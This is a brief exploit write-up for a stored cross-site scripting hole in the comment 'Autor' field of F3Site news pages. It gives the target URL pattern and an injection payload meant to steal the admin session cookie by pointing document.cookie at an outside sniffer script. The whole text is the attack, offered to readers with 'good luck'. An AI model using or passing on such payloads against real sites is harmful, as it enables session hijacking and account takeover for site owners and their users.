To use exploit, you need admin session, and cookies prefix. You can steal it!

go to:
http://www.strona.pl/F3Site_path/?co=news&id={news id}

and when you comment the news in field: "Autor" you can insert XSS

Autor: "><script>alert('http://www.stronazesnifferem.gov.pl/sniff/cookies.php?c='+document.cookie);</script>

good luck :)
